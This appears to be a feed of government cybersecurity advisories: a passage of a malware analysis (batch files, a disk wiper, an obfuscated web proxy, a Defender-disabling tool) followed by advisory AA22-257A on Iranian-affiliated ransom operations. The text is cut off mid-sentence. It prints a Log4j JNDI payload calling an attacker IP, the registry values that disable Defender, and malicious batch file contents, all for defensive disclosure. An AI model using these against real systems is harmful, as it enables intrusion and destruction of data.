bbe983dba3bf319621b447618548b740 SSDeep: 768:+OFu8Q3w6QzfR5Jni6SQD7qSFDs6P93/q0XIc/UB5EPABWX :RFu8QAFzffJui79f13/AnB5EPAkX (Ver 1.1) File Type: PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows PE Header Timestamp: 2016-04-30 17:08:19 ImpHash: 5b2ce9270beea5915ec9adbcd0dbb070 Cert #0 Subject C=KW, L=Salmiya, O=Kuwait Telecommunications Company KSC, OU=Kuwait Telecommunications Company, CN=Kuwait Telecommunications Company KSC Cert #0 Issuer  C=US, O=DigiCert Inc, OU=www.digicert.com, CN=DigiCert SHA2 Assured ID Code Signing CA Cert #0 SHA1    55d90ec44b97b64b6dd4e3aee4d1585d6b14b26f   win.bat (#1, run malware) File Size: 67 bytes SHA256: bad65769c0b416bb16a82b5be11f1d4788239f8b2ba77ae57948b53a69e230a6 SHA1: 14b8c155e01f25e749a9726958606b242c8624b9 MD5: 1635e1acd72809479e21b0ac5497a79b SSDeep: 3:LjTFKCkRErG+fyM1KDCFUF82G:r0aH1+DF82G (Ver 1.1) File Type: ASCII text, with no line terminators Contents: start /min C:\ProgramData\Microsoft\Windows\GoXml.exe 1 2 3 4 5 6 7   win.bat (#2, install desktop image) Filename: ec4cd040fd14bff86f6f6e7ba357e5bcf150c455532800edf97782836e97f6d2 File Size: 765 bytes SHA256: ec4cd040fd14bff86f6f6e7ba357e5bcf150c455532800edf97782836e97f6d2 SHA1: fce0db6e66d227d3b82d4564446ede0c0fd7598c MD5: 18e01dee14167c1cf8a58b6a648ee049 SSDeep: 12:wbYVJ69/TsdLd6sdLd3mTDwfV+EVTCuwfV+EVTCuwfV+EVTCuwfV+EVTCuwfV +Et:wq69/kZxZ3mTDY9HY9HY9HY9HY9j (Ver 1.1) File Type: DOS batch file text, ASCII text, with CRLF line terminators Contents: @echo off setlocal enabledelayedexpansion set "Wtime=!time:~0,2!" if "!Wtime!" leq "20" reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "c:\programdata\GoXml.jpg" /f & goto done if "!Wtime!" geq "20" reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "c:\programdata\GoXml.jpg" /f & goto done :done timeout /t 5 >nul start "" /b RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters ,1 ,True start "" /b RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters ,1 ,True start "" /b RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters ,1 ,True start "" /b RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters ,1 ,True start "" /b RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters ,1 ,True endlocal   goxml.jpg File Size: 1.2 MB (1259040 bytes) SHA256: 63dd02c371e84323c4fd9a161a75e0f525423219e8a6ec1b95dd9eda182af2c9 SHA1: 683eaec2b3bb5436f00b2172e287dc95e2ff2266 MD5: 0738242a521bdfe1f3ecc173f1726aa1 SSDeep: 12288:ME0p1RE70zxntT/ylTyaaSMn2fS+0M6puxKfJbDKrCxMe5fPSC2tmx VjpJT/n37p:MHyUt7yQaaPXS6pjar+MwrjpJ7VIbZg (Ver 1.1) File Type: JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=13, height=1752, bps=0, PhotometricIntepretation=CMYK, orientation=upper-left, width=2484TIFF image data, big-endian, direntries=13, height=1752, bps=0, PhotometricIntepretation=CMYK, orientation=upper-left, width=2484], progressive, precision 8, 2484x1752, components 4 Software: Adobe Photoshop 22.4 (Windows) Modify Date: 2022-07-13 20:45:20 Create Date: 2020-06-11 02:13:33 Metadata Date: 2022-07-13 20:45:20 Profile Date Time: 2000-07-26 05:41:53 Image Size: 2484x1752 File Size: 1.2 MB (1259040 bytes) SHA256: 63dd02c371e84323c4fd9a161a75e0f525423219e8a6ec1b95dd9eda182af2c9 Disk Wiper The files cl.exe and rwdsk.sys are part of a disk wiper utility that provides raw access to the hard drive for the purposes of wiping data. From the command line the cl.exe file accepts the arguments: in un wp <optional argument> If executed with the in command, the utility will output in start! and installs a hard coded file named rwdsk.sys as a service named RawDisk3. The .SYS file is not extracted from the installer however, but rather the installer looks for the file in the same directory that the cl.exe is executed in.  It will also load the driver after installation. The un command uninstalls the service, outputting the message “un start!” to the terminal. The wp command will access the loaded driver for raw disk access. The long hexadecimal string is hard coded in the cl.exe binary.       RawDisk3File = (void *)toOpenRawDisk3File(                                arg2_WideCharStr,                                0xC0000000,                                L"B4B615C28CCD059CF8ED1ABF1C71FE03C0354522990AF63ADF3C911E2287A4B906D47D");       ptrRawDiskFile = RawDisk3File;       if ( RawDisk3File )       {         sizeDisk = toGetDiskSize(RawDisk3File);         terminal_out("Total Bytez : %lld\n", sizeDisk << 9); The wp command also takes an additional argument as a device path to place after \RawDisk3\ in the output string. It is uncertain what creates this path to a device as the driver tested did not. The output is “wp starts!” followed by the total bytes of the drive and the time the wipe operation takes. If the registry key value HKLM\SOFTWARE\EldoS\EventLog is set to “Enabled”, the install will generate an event log if at any time the install produces an error. This log contains an error code DWORD followed by the string ..\..\DriverLibraries\DrvSupLib\install.c. If the system does not have the SOFTWARE\EldoS key, no event logs would be produced. This feature must be a related to the legitimate EldoS utility.  rwdsk.sys is a “legitimate commercial driver from the EldoS Corporation that is used for interacting with files, disks, and partitions. The driver allows for direct modification of data on a local computer’s hard drive. In some cases, the tool can enact these raw disk modifications from user-mode processes, circumventing Windows operating system security features."https://attack.mitre.org/software/S0364/ File Details cl.exe   File Size 142.5 KB (145920 bytes) SHA256 e1204ebbd8f15dbf5f2e41dddc5337e3182fc4daf75b05acc948b8b965480ca0 SHA1 f22a7ec80fbfdc4d8ed796119c76bfac01e0a908 MD5 7b71764236f244ae971742ee1bc6b098 SSDeep 3072:vv2ADi7yOcE/YMBSZ0fZX4kpK1OhJrDwM:vv2jeQ/flfZbKM (Ver 1.1) Filetype PE32+ executable (console) x86-64, for MS Windows PE Header Timestamp 2022-07-15 13:26:28 ImpHash 58d51c1152817ca3dec77f2eee52cbef   rwdsk.sys   File Size 38.84 KB (39776 bytes) SHA256 3c9dc8ada56adf9cebfc501a2d3946680dcb0534a137e2e27a7fcb5994cd9de6 SHA1 5e061701b14faf9adec9dd0b2423ff3cfc18764b MD5 8f6e7653807ebb57ecc549cef991d505 SSDeep 768:E31ySCpoCbXnfDbEaJSooKIDyE9aBazWlEAusxsia:0gyCb3MFKIHO4Ausxta (Ver 1.1) Filetype PE32+ executable (native) x86-64, for MS Windows PEtype Driver PE Header Timestamp 2016-03-18 14:44:54 ImpHash e233f2cdc91faafe1467d9e52f166213 Cert #0 Subject CN=VeriSign Time Stamping Services CA, O=VeriSign, Inc., C=US Cert #0 Issuer CN=VeriSign Time Stamping Services CA, O=VeriSign, Inc., C=US Cert #0 SHA1 382c18388fb326221dfd7a77ee874f9ba60e04bf Cert #1 Subject C=US, ST=California, L=SANTA CLARA, O=NVIDIA Corporation, CN=NVIDIA Corporation Cert #1 Issuer C=US, O=VeriSign, Inc., OU=VeriSign Trust Network, OU=Terms of use at https://www.verisign.com/rpa (c)10, CN=VeriSign Class 3 Code Signing 2010 CA Cert #1 SHA1 30632ea310114105969d0bda28fdce267104754f Cert #2 Subject C=US, O=VeriSign, Inc., OU=VeriSign Trust Network, OU=(c) 2006 VeriSign, Inc. - For authorized use only, CN=VeriSign Class 3 Public Primary Certification Authority - G5 Cert #2 Issuer C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, CN=Microsoft Code Verification Root Cert #2 SHA1 57534ccc33914c41f70e2cbb2103a1db18817d8b Cert #3 Subject C=US, O=VeriSign, Inc., OU=VeriSign Trust Network, OU=Terms of use at https://www.verisign.com/rpa (c)10, CN=VeriSign Class 3 Code Signing 2010 CA Cert #3 Issuer C=US, O=VeriSign, Inc., OU=VeriSign Trust Network, OU=(c) 2006 VeriSign, Inc. - For authorized use only, CN=VeriSign Class 3 Public Primary Certification Authority - G5 Cert #3 SHA1 495847a93187cfb8c71f840cb7b41497ad95c64f   Additional Files Web Deployed Reverse Proxy Description ClientBin.aspx is an ASP file that contains a Base64 encoded .Net executable (App_Web_bckwssht.dll) that it decodes and loads via Reflection. The .Net executable contains Class and Method obfuscation and internal strings are encoded with a single byte XOR obfuscation. public static string hair_school_bracket()         {             return Umbrella_admit_arctic.rebel_sadreporthospital("460F2830272A2F2266052928202F21661627252D27212368");  //Invalid Config Package.         } public static string Visual_math_already()         {        return Umbrella_admit_arctic.rebel_sadreporthospital("5304057E0116001607");   //WV-RESET The method rebel_sadreporthospital takes the first byte of the encoded string and XOR’s each subsequent byte to produce the de-obfuscated string. When run in context of an IIS web server connecting to the ASPX file will generate a 200 <Encryption DLL Info> 1.5 output.   The hex string represents the following ASCII text: Base64, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null Sending a POST request with a Base64 encoded IP and port will open a second socket to the supplied IP and port making this a Web proxy.  Sending a request to WV-RESET with a value will produce an OK response and call a function to shut down the proxy socket. The DLL extracts a secondary “EncryptionDLL” named Base64.dll which is loaded via Assembly.Load. This exposes two functions, encrypt and decrypt. This DLL is used to decrypt the Proxy IP and port along with data. In this instance the class name is misspelled Bsae64, which is also reflected in the calling DLLs decoded strings. It is uncertain as to why an additional Base64.dll binary is extracted when the same encoding could be hard coded in the original DLL. It is possible other versions of this tool utilize differing “EncryptionDLL” binaries.   File Details ClientBin.aspx   File Size 55.24 KB (56561 bytes) SHA256 7ad64b64e0a4e510be42ba631868bbda8779139dc0daad9395ab048306cc83c5 SHA1 e03edd9114e7a0138d1309034cad6b461ab0035b MD5 a9fa6cfdba41c57d8094545e9b56db36 SSDeep 768:x9TfK6nOgo5zE/cezUijAwZIFxK1mGjncrF8EAZ0iBDZBZdywb0DwHN4N4wjMxr8:x9TfdOgAi2 (Ver 1.1) Filetype HTML document text, ASCII text, with very long lines (56458)   App_Web_bckwssht.dll   File Size 41.0 KB (41984 bytes) SHA256 cad2bc224108142b5aa19d787c19df236b0d12c779273d05f9b0298a63dc1fe5 SHA1 49fd8de33aa0ea0c7432d62f1ddca832fab25325 MD5 e9b6ecbf0783fa9d6981bba76d949c94 SSDeep 384:coY4jnD7l9VAk1dtrGBlLGYEX1tah8dgNyamGOvMTfdYN5qZAsP:hlXAkHRGBlUUh8cFmpv6feYLP (Ver 1.1) Filetype PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows PEtype DLL PE Header Timestamp 2021-06-07 10:37:55 ImpHash dae02f32a21e03ce65412f6e56942daa Disable Defender Description disable_defender.exe is a Microsoft Windows PE file that attempts to disable Windows Defender. The application will elevate privileges to that of SYSTEM and then attempt to disable Defender’s core functions. A command prompt with status and error messages is displayed as the application executes. No network activity was detected during the evaluation. Upon execution, a command prompt is launched and a message is displayed if the process is not running as SYSTEM. The process is then restarted with the required permissions. The application will attempt to terminate the Windows Defender process by calling TerminateProcess for smartscreen.exe: The following Registry Keys were modified to disable Windows Defender: Set Registry Values (observed Win10 1709)   HKLM\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection  0      HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware  1  HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ StartupApproved\Run\SecurityHealth  03 00 00 00 5D 02 00 00 41 3B 47 9D  HKLM\SOFTWARE\Microsoft\Windows Defender\DisableAntiSpyware  1  HKLM\System\CurrentControlSet\Services\WinDefend\Start  3  HKLM\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection\ DisableRealtimeMonitoring  1  Upon completion and if successful the application will display the following messages and wait for user input. disable-defender.exe   File Size 292.0 KB (299008 bytes) SHA256 45bf0057b3121c6e444b316afafdd802d16083282d1cbfde3cdbf2a9d0915ace SHA1 e866cc6b1507f21f688ecc2ef15a64e413743da7 MD5 60afb1e62ac61424a542b8c7b4d2cf01 SSDeep 6144:t2WhikbJZc+Wrbe/t1zT/p03BuGJ1oh7ISCLun:t2WpZnW+/tVoJ1ouQ (Ver 1.1) Filetype PE32+ executable (console) x86-64, for MS Windows PEtype EXE PE Header Timestamp 2021-10-24 15:07:32 ImpHash 74a6ef9e7b49c71341e439022f643c8e Revisions September 21, 2022: Initial Version September 22, 2022: Reordered items in the Mitigation Section September 23, 2022: Add the STIX file This product is provided subject to this Notification and this Privacy & Use policy.

  • AA22-257A: Iranian Islamic Revolutionary Guard Corps-Affiliated Cyber Actors Exploiting Vulnerabilities for Data Extortion and Disk Encryption for Ransom Operations
    by CISA on 14 Settembre 2022 at 3:00 pm

    Original release date: September 14, 2022SummaryActions to take today to protect against ransom operations: • Keep systems and software updated and prioritize remediating known exploited vulnerabilities. • Enforce MFA. • Make offline backups of your data. This joint Cybersecurity Advisory (CSA) is the result of an analytic effort among the Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), the National Security Agency (NSA), U.S. Cyber Command (USCC) - Cyber National Mission Force (CNMF), the Department of the Treasury (Treasury), the Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), and the United Kingdom’s National Cyber Security Centre (NCSC) to highlight continued malicious cyber activity by advanced persistent threat (APT) actors that the authoring agencies assess are affiliated with the Iranian Government’s Islamic Revolutionary Guard Corps (IRGC). Note: The IRGC is an Iranian Government agency tasked with defending the Iranian Regime from perceived internal and external threats. Hereafter, this advisory refers to all the coauthors of this advisory as "the authoring agencies." This advisory updates joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities, which provides information on these Iranian government-sponsored APT actors exploiting known Fortinet and Microsoft Exchange vulnerabilities to gain initial access to a broad range of targeted entities in furtherance of malicious activities, including ransom operations. The authoring agencies now judge these actors are an APT group affiliated with the IRGC. Since the initial reporting of this activity in the FBI Liaison Alert System (FLASH) report APT Actors Exploiting Fortinet Vulnerabilities to Gain Access for Malicious Activity from May 2021, the authoring agencies have continued to observe these IRGC-affiliated actors exploiting known vulnerabilities for initial access. In addition to exploiting Fortinet and Microsoft Exchange vulnerabilities, the authoring agencies have observed these APT actors exploiting VMware Horizon Log4j vulnerabilities for initial access. The IRGC-affiliated actors have used this access for follow-on activity, including disk encryption and data extortion, to support ransom operations. The IRGC-affiliated actors are actively targeting a broad range of entities, including entities across multiple U.S. critical infrastructure sectors as well as Australian, Canadian, and United Kingdom organizations. These actors often operate under the auspices of Najee Technology Hooshmand Fater LLC, based in Karaj, Iran, and Afkar System Yazd Company, based in Yazd, Iran. The authoring agencies assess the actors are exploiting known vulnerabilities on unprotected networks rather than targeting specific targeted entities or sectors. This advisory provides observed tactics, techniques, and indicators of compromise (IOCs) that the authoring agencies assess are likely associated with this IRGC-affiliated APT. The authoring agencies urge organizations, especially critical infrastructure organizations, to apply the recommendations listed in the Mitigations section of this advisory to mitigate risk of compromise from these IRGC-affiliated cyber actors. For a downloadable copy of IOCs, see AA22-257A.stix. For more information on Iranian state-sponsored malicious cyber activity, see CISA’s Iran Cyber Threat Overview and Advisories webpage and FBI’s Iran Threat webpage. Download the PDF version of this report: pdf, 836 kb Technical DetailsThreat Actor Activity As reported in joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities, the authoring agencies have observed Iranian government-sponsored APT actors scanning for and/or exploiting the following known Fortinet FortiOS and Microsoft Exchange server vulnerabilities since early 2021 to gain initial access to a broad range of targeted entities: CVE-2018-13379, CVE-2020-12812, CVE-2019-5591, and CVE-2021-34473 (a ProxyShell vulnerability). The authoring agencies have also observed these APT actors leveraging CVE-2021-34473 against U.S. networks in combination with ProxyShell vulnerabilities CVE-2021-34523 and CVE-2021-31207. The NCSC judges that Yazd, Iran-based company Afkar System Yazd Company is actively targeting UK organizations. Additionally, ACSC judges that these APT actors have used CVE-2021-34473 in Australia to gain access to systems. The APT actors can leverage this access for further malicious activities, including deployment of tools to support ransom and extortion operations, and data exfiltration. Since the activity was reported in 2021, these IRGC-affiliated actors have continued to exploit known vulnerabilities for initial access. In addition to exploiting Fortinet and Microsoft Exchange vulnerabilities, the authoring agencies have observed these APT actors exploiting VMware Horizon Log4j vulnerabilities CVE-2021-44228 (“Log4Shell”), CVE-2021-45046, and CVE-2021-45105 for initial access. The IRGC-affiliated actors have used their access for ransom operations, including disk encryption and extortion efforts. After gaining access to a network, the IRGC-affiliated actors likely determine a course of action based on their perceived value of the data. Depending on the perceived value, the actors may encrypt data for ransom and/or exfiltrate data. The actors may sell the data or use the exfiltrated data in extortion operations or “double extortion” ransom operations where a threat actor uses a combination of encryption and data theft to pressure targeted entities to pay ransom demands. IRGC-affiliated actor activity observed by the authoring agencies includes: In December 2021, the actors exploited ProxyShell vulnerabilities (likely CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207) on a Microsoft Exchange server to gain access to the network of a U.S. police department. The actors used their access to move laterally within the network, encrypt network devices with BitLocker, and hold the decryption keys for ransom. In December 2021, the actors exploited ProxyShell vulnerabilities (likely CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207), on a Microsoft Exchange server to gain access to the network of a U.S. regional transportation company. The actors used their access to move laterally within the network, encrypt network devices with BitLocker, and hold the decryption keys for ransom. This activity disrupted the transportation company’s operations for an extended period. In February 2022, the actors exploited a Log4j vulnerability (likely CVE-2021-44228, CVE-2021-45046, and/or CVE-2021-45105) in a VMware Horizon application to gain access to the network of a U.S. municipal government, move laterally within the network, establish persistent access, initiate crypto-mining operations, and conduct additional malicious activity. In February 2022, the actors may have exploited a Log4j vulnerability (likely CVE-2021-44228, CVE-2021-45046, and/or CVE-2021) to gain access to the network of a U.S. aerospace company. The actors leveraged a server that the authoring agencies assess is associated with the IRGC-affiliated actors to exfiltrate data from the company's network. MITRE ATT&CK® Tactics and Techniques Note: This advisory uses the MITRE ATT&CK for Enterprise framework, version 11. See Appendix B for a table of the MITRE ATT&CK tactics and techniques observed. The authoring agencies assess the following tactics and techniques are associated with this activity. Resource Development [TA0042] The IRGC-affiliated actors have used the following malicious and legitimate tools [T1588.001, T1588.002] for a variety of tactics across the enterprise spectrum: Fast Reverse Proxy (FRP) for command and control (C2) Plink for C2 Remote Desktop Protocol (RDP) for lateral movement BitLocker for data encryption SoftPerfect Network Scanner for system network configuration discovery Note: For additional tools used by these IRGC-affiliated cyber actors, see joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities. Initial Access [TA0001] As stated in the Technical Details section previously reported in joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities, the IRGC-affiliated actors gained initial access by exploiting known vulnerabilities [T1190]. The following IOCs, observed as of March 2022, are indicative of ProxyShell vulnerability exploitation on targeted entity networks: Web shells with naming conventions aspx_[11 randomly generated alphabetic characters].aspx, login.aspx, or default.aspx in any of the following directories: C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\ecp\auth\ C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\ C:\inetpub\wwwroot\aspnet_client\ The following IOCs, observed as of December 2021, are indicative of Log4j vulnerability exploitation on targeted entity networks: ${jndi:ldap//148.251.71.182:1389/RCE} (user agent string) RCE.class Execution [TA0002] The IRGC-affiliated actors may have made modifications to the Task Scheduler [T1053.005]. These modifications may display as unrecognized scheduled tasks or actions. Specifically, the below established tasks may be associated with this activity: Wininet Wininet’ WinLogon CacheTask Note: The potential exists that tasks associated with CacheTask or Wininet may be legitimate. For additional tasks used by these IRGC-affiliated cyber actors, see joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities. Persistence [TA0003] The IRGC-affiliated actors established new user accounts on domain controllers, servers, workstations, and active directories [T1136.001, T1136.002]. The actors enabled a built-in Windows account (DefaultAccount) and escalated privileges to gain administrator-level access to a network. Some of these accounts appear to have been created to look similar to other existing accounts on the network, so specific account names may vary per organization. In addition to unrecognized user accounts or accounts established to masquerade as existing accounts, the following account usernames may be associated with this activity: Domain Admin it_admin DefaultAccount Default01 Note: For additional account usernames associated with this activity, see joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities. Exfiltration [TA0010] The authoring agencies have observed the IRGC-affiliated actors dumping and subsequently exfiltrating the Local Security Authority Subsystem Service (LSASS) process memory on targeted entity networks in furtherance of credential harvesting. The following IOCs are associated with data exfiltration from targeted entity networks: C:\Windows\Temp\sassl[.]pmd C:\Windows\Temp\ssasl[.]zip C:\Users\DefaultAccount\AppData\Local\Temp\lsass[.]dmp C:\Users\DefaultAccount\AppData\Local\Temp\lsass[.]zip Impact [TA0040] The IRGC-affiliated actors forced BitLocker activation on host networks to encrypt data [T1486] and held the decryption keys for ransom. The corresponding ransom notes were sent to the targeted entity, left on the targeted entity network as a .txt file or printed on the targeted entity’s networked printer(s). The notes included the following contact information: @BuySafety (Telegram) @WeRBits (Telegram) +93794415076 (WhatsApp) werbits@onionmail[.]org buysafety@onionmail[.]org yacashcash@rambler[.]ru Note: For additional contact information included in ransom notes, see joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities. DETECTION The authoring agencies recommend that organizations using Microsoft Exchange servers, Fortinet devices, and/or VMware Horizon applications investigate potential suspicious activity in their networks. Search for IOCs. Collect known-bad IOCs and search for them in network and host artifacts. Note: Refer to Appendix A for IOCs. Review Log4j vulnerabilities, including CVE-2021-44228, CVE-2021-45046, and CVE-2021- 45105. Review Microsoft Exchange ProxyShell vulnerabilities, including CVE-2021-34473, CVE-2021- 34523, and CVE-2021-31207. As a precaution, review additional Microsoft Exchange vulnerabilities, including CVE-2021- 31196, CVE-2021-31206, CVE-2021-33768, CVE-2021-33766, and CVE-2021-34470 because the authoring agencies have seen the actors broadly target Microsoft Exchange servers. Investigate exposed Microsoft Exchange servers, both patched and unpatched, for compromise. Review Fortinet FortiOS vulnerabilities, including CVE-2018-13379, CVE-2020-12812, and CVE-2019-5591. Review VMware vulnerabilities, including any relevant vulnerabilities listed on the VMware security advisory page. Investigate changes to RDP, firewall, and Windows Remote Management (WinRM) configurations that may allow malicious cyber actors to maintain persistent access. Review domain controllers, servers, workstations, and active directories for new or unrecognized user accounts. Review Task Scheduler for unrecognized scheduled tasks. Additionally, manually review operating-system and scheduled tasks—including each step these tasks perform—for unrecognized “actions.” Review antivirus logs for indications they were unexpectedly turned off. Look for WinRAR and FileZilla in unexpected locations. Review servers and workstations for malicious executable files masquerading as legitimate Windows processes. Malicious files may not be found in the expected directory and may have cmd.exe or powershell.exe as their parent process. Note: For additional approaches on uncovering malicious cyber activity, see joint advisory Technical Approaches to Uncovering and Remediating Malicious Activity, authored by CISA and the cybersecurity authorities of Australia, Canada, New Zealand, and the United Kingdom. MitigationsThe authoring agencies urge network defenders to prepare for and mitigate potential cyber threats immediately by implementing the mitigations below. Implement and Enforce Backup and Restoration Policies and Procedures Maintain offline (i.e., physically disconnected) backups of data, and regularly test backup and restoration. These practices safeguard an organization’s continuity of operations or at least minimize potential downtime from a ransomware or other destructive data incident and protect against data losses. Ensure all backup data is encrypted, immutable (i.e., cannot be altered or deleted), and covers the entire organization’s data infrastructure. Activate BitLocker on all networks and securely back up BitLocker keys with Microsoft and with an independent offline backup. Create, maintain, and exercise a basic cyber incident response plan that includes response procedures for a ransom incident. Implement a recovery plan to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, segmented, secure location (e.g., hard drive, storage device, the cloud). Patch and Update Systems U.S. federal, state, local, tribal, and territorial (SLTT) government and critical infrastructure organizations: Implement free CISA Cyber Hygiene Services Vulnerability Scanning to enable continuous scans of public, static IPs for accessible services and vulnerabilities. Install updates/patch operating systems, software, and firmware as soon as updates/patches are released. Regularly check software updates and end-of-life notifications. Consider leveraging a centralized patch management system to automate and expedite the process. Immediately patch software affected by vulnerabilities identified in this advisory: CVE-2021- 34473, CVE-2018-13379, CVE-2020-12812, CVE-2019-5591, CVE-2021-34523, CVE-2021- 31207, CVE-2021-44228, CVE-2021-45046, CVE-2021-45105, CVE-2021-31196, CVE-2021- 31206, CVE-2021-33768, CVE-2021-33766, and CVE-2021-34470. Evaluate and Update Blocklists and Allowlists Regularly evaluate and update blocklists and allowlists. If FortiOS is not used by your organization, add the key artifact files used by FortiOS to your organization’s execution blocklist. Prevent any attempts to install or run this program and its associated files. Implement Network Segmentation Implement network segmentation to restrict a malicious threat actor’s lateral movement. Secure User Accounts Audit user accounts with administrative privileges and configure access controls under the principles of least privilege and separation of duties. Require administrator credentials to install software. Implement Multifactor Authentication Use multifactor authentication where possible, particularly for webmail, virtual private networks (VPNs), accounts that access critical systems, and privileged accounts that manage backups. Use Strong Passwords Require all accounts with password logins to have strong, unique passwords. See CISA Tip Choosing and Protecting Passwords and National Institute of Standards and Technology (NIST) Special Publication 800-63B: Digital Identity Guidelines for more information. Secure and Monitor RDP and other Potentially Risky Services If you use RDP, restrict it to limit access to resources over internal networks. After assessing risks, if your organization deems RDP operationally necessary, restrict the originating sources, and require MFA to mitigate credential theft and reuse. If RDP must be available externally, use a VPN, virtual desktop infrastructure, or other means to authenticate and secure the connection before allowing RDP to connect to internal devices. Disable unused remote access/RDP ports. Monitor remote access/RDP logs, enforce account lockouts after a specified number of attempts (to block brute force campaigns), and log RDP login attempts. Use Antivirus Programs Install and regularly update antivirus and anti-malware software on all hosts. Secure Remote Access Only use secure networks. Consider installing and using a VPN for remote access. VALIDATE SECURITY CONTROLS In addition to applying mitigations, the authoring agencies recommend exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. The authoring agencies recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory. To get started: Select an ATT&CK technique described in this advisory (see Appendix B). Align your security technologies against the technique. Test your technologies against the technique. Analyze your detection and prevention technologies performance. Repeat the process for all security technologies to obtain a set of comprehensive performance data. Tune your security program, including people, processes, and technologies, based on the data generated by this process. The authoring agencies recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory. RESPONDING TO RANSOMWARE OR EXTORTION INCIDENTS If a ransomware or extortion incident occurs at your organization: Follow the Ransomware Response Checklist on page 11 of the CISA-Multi-State Information Sharing and Analysis Center (MS-ISAC) Joint Ransomware Guide. Scan backups. If possible, scan backup data with an antivirus program to check that it is free of malware. This should be performed using an isolated, trusted system to avoid exposing backups to potential compromise. Follow the notification requirements as outlined in your cyber incident response plan. U.S. organizations: Report incidents to FBI at a local FBI Field Office or the FBI's 24/7 CyWatch at (855)292-3937 or cywatch@fbi.gov, CISA’s 24/7 Operations Center at report@cisa.gov or (888) 282-0870, or the U.S. Secret Service (USSS) at a USSS Field Office. Australian organizations: Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories. Canadian organizations: Report incidents by emailing CCCS at contact@cyber.gc.ca. United Kingdom organizations: Report a significant cyber security incident: ncsc.gov.uk/report-an-incident (monitored 24 hours) Apply incident response best practices found in the joint Cybersecurity Advisory, Technical Approaches to Uncovering and Remediating Malicious Activity, developed by CISA and the cybersecurity authorities of Australia, Canada, New Zealand, and the United Kingdom. Note: The authoring agencies strongly discourage paying ransoms as doing so does not guarantee files and records will be recovered and may pose sanctions risks. RESOURCES The U.S. Department of State’s Rewards for Justice (RFJ) program offers a reward of up to $10 million for reports of foreign government malicious activity against U.S. critical infrastructure. See the RFJ website for more information and how to report information securely. For more information on malicious cyber activity affiliated with the Iranian government- sponsored malicious cyber activity, see us-cert.cisa.gov/Iran and FBI’s Iran Threat page. For information and resources on protecting against and responding to ransomware or extortion activity, refer to StopRansomware.gov, the U.S. centralized, whole-of-government webpage providing ransomware resources and alerts. The joint advisory from the cybersecurity authorities of Australia, Canada, New Zealand, the United Kingdom, and the United States: Technical Approaches to Uncovering and Remediating Malicious Activity provides additional guidance when hunting or investigating a network and common mistakes to avoid in incident handling. CISA offers a range of no-cost cyber hygiene services to help critical infrastructure organizations assess, identify, and reduce their exposure to threats. By requesting these services, organizations of any size could find ways to reduce their risk and mitigate malicious activity. ACSC can provide tailored cyber security advice and assistance, reporting, and incident response support at cyber.gov.au and via 1300 292 371 (1300 CYBER1). PURPOSE This advisory was developed by U.S., Australian, Canadian, and UK cybersecurity authorities in furtherance of their respective cybersecurity missions, including their responsibilities to develop and issue cybersecurity specifications and mitigations. DISCLAIMER The information in this report is being provided “as is” for informational purposes only. FBI, CISA, NSA, USCC-CNMF, DoT, ACSC, CCCS, and NCSC do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring. APPENDIX A: INDICATORS OF COMPROMISE IP addresses and executables files are listed below. For a downloadable copy of IOCs, see AA22- 257A.stix. IP Addresses 54.39.78[.]148 95.217.193[.]86 104.168.117[.]149 107.173.231[.]114 144.76.186[.]88 148.251.71[.]182 172.245.26[.]118 185.141.212[.]131 198.12.65[.]175 198.144.189[.]74 Note: Some of these observed IP addresses may be outdated. The authoring agencies recommend organizations investigate or vet these IP addresses prior to taking action, such as blocking. Malicious Domains newdesk[.]top symantecserver[.]co msupdate[.]us msupdate[.]top gupdate[.]us aptmirror[.]eu buylap[.]top winstore[.]us tcp443[.]org mssync[.]one upmirror[.]top tcp443 (subdomain) kcp53 (subdomain) Files Malicious files observed in this activity are identified in Table 1. Many of the below malicious files are masquerading as legitimate Windows files; therefore, file names alone 